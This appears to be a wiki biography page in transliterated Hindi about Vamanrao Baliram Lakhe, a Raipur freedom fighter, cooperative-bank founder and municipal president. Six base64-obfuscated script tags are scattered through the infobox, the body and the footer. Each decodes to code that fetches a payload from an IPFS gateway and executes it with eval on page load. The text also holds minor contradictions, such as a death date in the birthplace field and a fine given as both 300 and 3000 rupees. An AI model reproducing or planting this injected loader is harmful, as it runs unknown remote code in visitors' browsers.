वामनराव बलिराम लाखे

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vamanarav baliram lakhe
poora nam vamanarav baliram lakhe
any nam rayapur, chhattisagadh
janm 17 sitambar, 1872
janm bhoomi 21 agast, 1948
abhibhavak pandit balirav goviandarav lakhe
pati/patni janaki baee
nagarikata bharatiy
prasiddhi svatantrata senani
dharm hindoo
vishesh yogadan apane rayapur mean 'e.vi.em. skool' ki sthapana mean mahatvapoorn yogadan diya, jise bad mean inaki mrityu ke pashchath nam badalakar 'shri vamanarav lakhe uchchatar madhyamik shala' kar diya gaya.
any janakari 1922 mean vamanarav lakhe 'rayapur zila kaangres' ke adhyaksh nirvachit hue the. isi samay mean unhoanne niyamit khadi vastr pahanane tatha videshi vastuoan ke bahishkar ka sankalp liya.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>vamanarav baliram lakhe (aangrezi: Wamanrao Baliram Lakhe, janm- 17 sitambar, 1872, rayapur, chhattisagadh; mrityu- 21 agast, 1948) bharat ki azadi ke lie sangharsh karane vale chhattisagadh rajy ke svatantrata senaniyoan mean se ek the. 1913 mean lakhe ji ne apana kary kshetr sahakari aandolan ko banaya tha, jisase ve jivan paryant ju de rahe. sahakarita aandolan ke dvara du:khi aur shoshit kisanoan ki seva tatha sahayog karana unaka pramukh uddeshy tha. san 1915 mean rayapur mean 'homarool lig' ki sthapana ki gee thi. vamanarav baliram lakhe ji usake sansthapak the. chhattisagadh mean shuroo mean jo rajanitik chetana phaili, usamean lakhe ji ka bahut b da yogadan tha. unhoanne apana sara jivan rashtriy andolan aur sahakari sangathan mean bitaya.

janm

vamanarav baliram lakhe ka janm 17 sitambar, 1872 ko rayapur, chhattisagadh mean hua tha. unake pita pandit balirav goviandarav lakhe garib vyakti the, kintu kathor parishram se unhoanne kee gram kharid liye the. jab vamanarav baliram lakhe ka janm hua, us samay tak unake parivar ki ganana samriddh gharanoan mean hone lagi thi.[1]

shiksha

vamanarav baliram lakhe ne rayapur se maitrik uttirn kiya. madhavarav sapre bhi us samay usi skool mean padhate the. donoan mean dosti ho gee. san 1900 mean jab madhavarav sapre ne 'chhattisagadh mitr' nam se masik patrika ka prakashan kiya to lakhe ji us patrika ke prakashak the. chhattisagadh ki yah pahali patrika thi. sirph tin sal tak yah patrika chali, par un tin saloan ke bhitar hi us patrika ke madhyam se rashtriy jagaran ka yug arambh ho gaya tha.

vivah tatha vakalat

maitrik pas hote hi vamanarav baliram lakhe ka vivah janaki baee ke sath kara diya gaya tha. vivahoparaant ve uchch shiksha hetu nagapur gaye. san 1904 mean qanoon ki pariksha pas karake rayapur mean vakalat karane lage. vakalat ke sath hi sath unhoanne sarvajanik, samajik v rajanitik karyoan mean bhag lena praranbh kar diya tha. lakhe ji ne jab rayapur mean vakalat shuru ki to unaka uddeshy tha logoan ke lie kuchh mahatvapoorn kam karana, taki unaki dasha mean sudhar ho. unaka uddeshy paise arjan karana nahian tha. unaki patni ne bhi hamesha unaka sath diya.

sahakarita aandolan

varsh 1913 mean vamanarav baliram lakhe ne apana karyakshetr sahakari aandolan ko banaya, jisase ve jivan paryant ju de rahe. sahakarita aandolan ke dvara is aanchal ke du:khi aur shoshit kisanoan ki seva tatha sahayog karana unaka pramukh uddeshy tha. 1913 mean hi unhoanne rayapur mean 'ko-aparetiv sentral baiank' ki sthapana ki thi, jisake ve 1936 tak avaitanik sachiv ke pad par rahakar kathor parishram tatha nishtha ke sath kary karate rahe aur sanstha ko unnati ke sarvochch shikhar tak pahuancha diya. 1937 se 1940 tak ve is sanstha ke adhyaksh pad par rahe. unake prayas se hi 1930 mean baiank ka apana svayan ka bhavan banaya gaya tha.[1]

patrika 'chhattisagadh mitr'

chhattisagadh mean patrakarita ka itihas 120 sal purana hai. us yug mean aj ki tarah kampyootaroan aur atyadhunik upakaranoan se susajjit priantiang pres the aur n hi iantaranet aur mobail phon jaise tivr gati ke sanchar upakaran. suvidhavihin us yug mean chhattisagadh jaise ilake mean aur is ilake ke peandra jaise adivasi bahul pichh de aanchal se hindi masik patrika 'chhattisagadh mitr' ka prakashan ek b di aitihasik ghatana thi. janavari 1900 mean praranbh yah chhattisagadh ki pahali masik patrika thi, jisake madhyam se rajy mean patrakarita ki buniyad rakhi gayi.

pandit vamanarav baliram lakhe is patrika ke prakashak the. suprasiddh sahityakar pandit madhavarav sapre aur unake sahayogi ramarav chiancholakar 'chhattisagadh mitr' ke sampadak the. yah masik patrika rayapur ke ek priantiang pres mean chhapati thi. sampadan ka mukhy dayitv sapre ji nibhate the. svatantrata sangram ke us daur mean chhattisagadh sahit poore desh mean sahity aur patrakarita ke madhyam se rashtriy chetana ka vikas is patrika ke prakashan ka mukhy uddeshy tha. halaanki arthik samasyaoan ke karan isaka prakashan sirph tin sal tak ho paya, lekin us jamane mean chhattisagadh mean patrakarita ke itihas ka pahala adhyay "chhattisagadh mitr' ke madhyam se likha gaya. isamean prakashak ke roop mean vaman baliram lakhe ki bhi b di bhoomika thi.

karmathata aur sangathan kshamata

poore desh mean azadi ke aandolan ki tarangean um d rahi thian. lakheji ne un dinoan yahaan ke kisanoan ko sangathit kar sahakarita aandolan ka bhi shankhanad kiya. rajadhani rayapur ka 107 sal purana jila sahakari kendriy baiank aur balauda bajar sthit 75 varsh purana sahakari kisan rais mil lakheji ki yadagar karmathata aur sangathan kshamata ki nishaniyaan haian. unhoanne varsh 1913 mean rayapur mean jila sahakari kendriy baiank aur varsh 1945 mean balauda bajar mean sahakari kisan rais mil ki sthapana ki. rajadhani rayapur ke ek shasakiy uchchatar madhyamik vidyalay ka namakaran unake nam par kiya gaya hai, jo vigat kee dashakoan se saphalatapoorvak sanchalit ho raha hai. mahatma gaandhi ke ahvan par lakheji 1920 mean aangrez hukoomat ke khilaph asahayog aandolan se ju d ge.

svatantrata aandolan mean bhoomika

varsh 1941 mean vyaktigat satyagrah ke dauran unhean simaga mean giraphtar kiya gaya aur char mahine ki kaid ki saja huee. tab vah 70 sal ke the. unhean nagapur jel mean rakha gaya tha. isake pahale arang ki ek am sabha mean lakheji ne aangrejoan ki hukoomat ko 'gundoan ka shasan' batate hue kaha ki ab is videshi sarakar ko zyada samay tak ham nahian chalane deange. unhoanne am sabha mean janata se isake lie azadi ke andolan mean adhik se adhik sankhya mean shamil hone ka ahvan kiya. is par 25 joon 1930 ko british sarakar ne unhean giraftar kar liya. lakheji ko ek sal ki saja sunaee gayi aur 300 rupe ka arthadand bhi lagaya gaya. unhean nagapur jel mean rakha gaya tha.

svargiy shri hari thakur ne apane granth 'chhattisagadh gaurav gatha' mean likha hai- 'san 1922 mean rayapur mean jila rajanitik parishad ka ayojan kiya gaya tha. lakheji is parishad ke pramukh ayojakoan mean se the. usi varsh lakheji rayapur jila kaangres kameti ke adhyaksh nirvachit hue. unhoanne kaangres sangathan ko rayapur jile mean sudridh karane ke lie kathor parishram kiya. san 1924 mean lakheji ne kaangres sangathan ke bhitar chhattisagadh ko prithak pradesh ka darja dene ki maang ki, jo praantiy kaangres dvara amany kar di gayi. rayapur jile mean kaangres sangathan ki nianv rakhane vale, rashtriy jagaran ke purodha ke roop mean lakheji ka sthan sarvopari hai. ve is jile mean sahakarita aandolan ke pitamah the'. yah bhi ullekhaniy hai ki lakhe ji do bar rayapur nagar palika ke nirvachit adhyaksh rah chuke the.

'rayasahab' ki upadhi

san 1915 mean rayapur mean 'homarool lig' ki sthapana ki gee thi. lakhe ji usake sansthapak the. chhattisagadh mean shuroo mean jo rajanitik chetana phaili thi, usamean lakhe ji ka bahut b da yogadan tha. unhoanne apana sara jivan rashtriy andolan aur sahakari sangathan mean bitaya. 1915 mean balauda bazar mean 'kisan ko-aparetiv rais mil' ki sthapana unhoanne ki thi. lakhe ji ko aangrez hukoomat ne kisanoan ki sevaoan ke lie 1916 mean 'rayasahab' ki upadhi di thi.

khadi ka prachar

san 1921 mean madhavarav sapre ne rayapur mean 'rashtriy vidyalay' ki sthapana ki. us vidyalay ke mantri lakhe ji bane. lakhe ji khadi ka prachar karane lage. 1921 mean aktoobar ke mahine mean rayapur mean "khadi saptah" manaya gaya tha, jisake pramukh sanyojakoan mean se ek the lakhe ji. n jane kitane log us vakt utsah ke sath khadi pahanane lage the. 1922 mean vamanarav baliram lakhe 'rayapur zila kaangres' ke adhyaksh nirvachit hue aur isi samay mean unhoanne niyamit khadi vastr pahanane ka sankalp liya tatha videshi vastuoan ke bahishkar ka sankalp liya.

paanch pandav

1930 mean jab mahatma gaandhi ne andolan shuroo kiya to rayapur mean is andolan ka netritv vamanarav baliram lakhe, thakur pyarelal sianh, maulana ruf, mahant lakshminarayan das aur shivadas daga kar rahe the. ye paanchoan rayapur mean svadhinata ke andolan mean 'paanch pandav' ke nam se vikhyat ho gaye the[1]-

bhaiya paanchoan paandav kahie jinako nam sunaooan
lakhe vamanarav hamare dharmaraj ko hai avatar
bhimasen avatari jano, lakshminarayan jinako nam
daga sahadev nam se jahir ruph nakul ko hai avatar
thakur arjun ke avatari yoddha pyarelal sakar

giraftari

vamanarav baliram lakhe ne jab ek sabha mean 'aangrezi shasan ko gundoan ka rajy' kaha to unhean giraftarakar liya gaya aur unhean ek sal ki saza tatha 3000 rupaye jurmana hua. 1941 mean vyaktigat satyagrah mean lakhe ji ko simaga mean satyagrah karate hue giraftar kiya gaya aur char mahinoan ki saja di gee. unhean nagapur jel mean rakha gaya tha. us vakt lakhe ji 70 varsh ke the. chh: sal bad jab azadi mili to 15 agast ko rayapur ke gaandhi chauk mean vamanarav baliram lakhe ne tiranga jhanda pharahaya.

skool ki sthapana

rayapur mean shiksha ke vikas mean vamanarav baliram lakhe ne apana sakriy sahayog pradan kiya. unhoanne rayapur mean 'e.vi.em. skool' ki sthapana mean mahatvapoorn yogadan diya, jise bad mean unaki mrityu ke pashchath nam badalakar 'shri vamanarav lakhe uchchatar madhyamik shala', rayapur kar diya gaya. unhoanne nagar ki any shikshan sansthaoan se apana sakriy sanbandh banakar rakha evan unhean har prakar se sahayog karate rahe.

nagarapalika adhyaksh

lakhe ji budhapara vard se kee bar rayapur nagarapalika ke sadasy tatha do bar rayapur nagarapalika ke adhyaksh chune gaye the. apane adhyaksh kal mean ve nagar palika ke karyalay tak paidal hi ghar se ana-jana karate the. raste mean tamam log unase apani samasyaoan ko lekar milate aur lakhe ji b de gaur se unaki batean sunate aur samasyaoan ke nirakaran hetu pahal karate. unaka jivan nagar palika ke adhyaksh ke roop mean ekadam paradarshi tha.[1]

nidhan

vamanarav baliram lakhe ji ka nidhan 21 agast, 1948 ko hua.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. 1.0 1.1 1.2 1.3 pan. vamanarav baliram lakhe (hindi) rayapur siti. abhigaman tithi: 18 pharavari, 2015.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>